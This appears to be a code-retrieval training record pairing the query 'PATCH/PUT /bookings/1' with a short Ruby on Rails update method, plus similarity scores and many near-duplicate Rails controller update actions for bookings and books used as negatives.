[ "0.7352371", "0.72278684", "0.68597174", "0.6782818", "0.6782818", "0.6766579", "0.66423225", "0.6640033", "0.66245", "0.65138423", "0.65080756", "0.65080756", "0.65080756", "0.648764", "0.64313096", "0.63776237", "0.63463503", "0.6324189", "0.6297219", "0.6288926", "0.62783253", "0.6276478", "0.6276221", "0.62468535", "0.62461203", "0.6222922", "0.62154657", "0.619853", "0.6197565", "0.619461", "0.619461", "0.619461", "0.619461", "0.619461", "0.619461", "0.619461", "0.619461", "0.619461", "0.619461", "0.619461", "0.619461", "0.619461", "0.6188527", "0.6182058", "0.61639506", "0.6153074", "0.61429024", "0.6137346", "0.61355835", "0.6126763", "0.61234707", "0.61122614", "0.6111884", "0.6107911", "0.6107911", "0.6101918", "0.6094536", "0.60931724", "0.609068", "0.60784036", "0.6060492", "0.60598725", "0.60534173", "0.6046707", "0.60448503", "0.6039928", "0.60366046", "0.6034933", "0.60307425", "0.6028441", "0.60240567", "0.602328", "0.60164243", "0.60110116", "0.60036176", "0.6001784", "0.6001527", "0.59934974", "0.59872603", "0.597994", "0.5973484", "0.5958319", "0.59574634", "0.5950954", "0.5950548", "0.5943474", "0.5943246", "0.5937554", "0.59364986", "0.59312356", "0.59303933", "0.5928947", "0.5928864", "0.5926613", "0.5920113", "0.5917707", "0.5915988", "0.5914028", "0.5901685", "0.58976525" ]
0.59276396
93
PATCH/PUT /bookings/1 PATCH/PUT /bookings/1.json
def update @booking.update_attributes(booking_params) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n @booking = Booking.find(params[:id])\n\n if @booking.update(booking_params)\n head :no_content\n else\n render json: @booking.errors, status: :unprocessable_entity\n end\n end", "def update\n @booking = Booking.find(params[:id])\n @booking.update_attributes(params[:booking])\n respond_with(@booking)\n end", "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n \n format.json { render json: @book, status: :created, location: @book }\n else\n \n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n if @booking.update_attributes(params[:booking])\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n if @booking.update_attributes(params[:booking])\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n if @booking.update_attributes(params[:booking])\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n if @booking.update_attributes(params[:booking])\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n booking = Booking.find(params[:id])\n \n # Check if user is the owner of the booking\n if current_user[:id] == booking[:user_id]\n if booking.update_attributes(booking_params) \n render json: { status: 'SUCCESS', message: 'Updated booking', data: booking }, status: :ok\n else\n render json: { status: 'ERROR', message: 'Booking not updated', data: booking.errors }, status: :unprocessable_entity\n end\n end\n end", "def update\n @booking = @room.bookings.find(params[:id])\n\n respond_to do |format|\n if @booking.update_attributes(params[:booking])\n flash[:notice] = 'Booking was successfully updated.'\n format.html { redirect_to property_room_bookings_url(@property, @room) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @booking.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to bookings_path, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to bookings_url, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to profile_bookings_url(@profile), notice: 'Booking was successfully updated.' }\n format.json { render :index, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @api_book = Api::Book.find(params[:id])\n\n if @api_book.update(api_book_params)\n head :no_content\n else\n render json: @api_book.errors, status: :unprocessable_entity\n end\n end", "def update\n @book = @collection.books.find(params[:id])\n #original: @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to book_series_collection_books_url(@book_series, @collection), notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to admin_bookings_url, notice: 'Bookingen er blevet opdateret.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors.messages, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @bookkeeping.update(bookkeeping_params)\n head :no_content\n else\n render json: @bookkeeping.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @bookable.update(bookable_params)\n format.html { redirect_to @bookable, notice: 'Bookable was successfully updated.' }\n format.json { render :show, status: :ok, location: @bookable }\n else\n format.html { render :edit }\n format.json { render json: @bookable.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: \"Booking was successfully updated.\" }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: \"Booking was successfully updated.\" }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params_update)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\r\n @book = Book.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @book.update_attributes(params[:book])\r\n format.html { redirect_to books_url }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @book.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to show_booking_path, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to current_user, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n \n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, :notice => 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @book.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_back(fallback_location: salons_path) }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to hairdresser_booking_path(@hairdresser, @booking), notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n params[:book_shelf]['user'] = User.where(:id => params[:book_shelf]['user']).first\n params[:book_shelf]['book'] = Book.where(:id => params[:book_shelf]['book']).first\n @book_shelf = BookShelf.find(params[:id])\n respond_to do |format|\n if @book_shelf.update_attributes(params[:book_shelf])\n format.html { redirect_to @book_shelf, notice: 'Book shelf was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book_shelf.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params.except(:mode_of_booking))\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n if params[:action] == \"RETURN_BOOK\" \n @book.return()\n elseif params[:action] == \"BORROW_BOOK\"\n @book.borrow()\n end\n \n if @book.update(book_params)\n head :no_content\n else\n render json: @book.errors, status: :unprocessable_entity\n end\n end", "def update\n @book = Book.find(params[:id])\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_api_v1_booking\n @api_v1_booking = Booking.find(params[:id])\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @booking = Booking.find_by(id: params[:id])\n @booking.update(acceptance: true)\n UserMailer.confirm_email(@booking).deliver_now\n redirect_to job_bookings_path(params[:job_id]), notice: 'Application was successfully updated.' \n # respond_to do |format|\n # if @booking.update(booking_params)\n # format.html { redirect_to @booking, notice: 'Application was successfully updated.' }\n # format.json { render :show, status: :ok, location: @booking }\n # else\n # format.html { render :edit }\n # format.json { render json: @booking.errors, status: :unprocessable_entity }\n # end\n # end\n end", "def update\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n if @booking.update_attributes(params[:booking])\n flash[:notice] = 'Booking was successfully updated.'\n format.html { redirect_to(@booking) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @booking.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find_by_id(params[:id])\n\n if @book.present?\n if @book.update(book_params)\n render json: {\n type: 'success',\n result: @book\n }, status: :created\n else\n render json: {\n type: 'failed',\n message: @book.errors,\n result: {}\n }, status: :bad_request\n end\n else\n render json: {\n type: 'failed',\n message: 'data with id:' + params[:id] + ' not found',\n result: {},\n }, status: :not_found\n end\n end", "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to manage_books_path, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book_request.update(book_request_params)\n format.html { redirect_to @book_request, notice: 'Book request was successfully updated.' }\n format.json { render :show, status: :ok, location: @book_request }\n else\n format.html { render :edit }\n format.json { render json: @book_request.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: \"Book was successfully updated.\" }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: \"Book was successfully updated.\" }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @bookalawn.update(bookalawn_params)\n format.html { redirect_to @bookalawn, notice: 'Booking was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bookalawn.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to [current_user, @book], notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render layout: 'form', action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: \"Book was successfully updated.\" }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end" ]
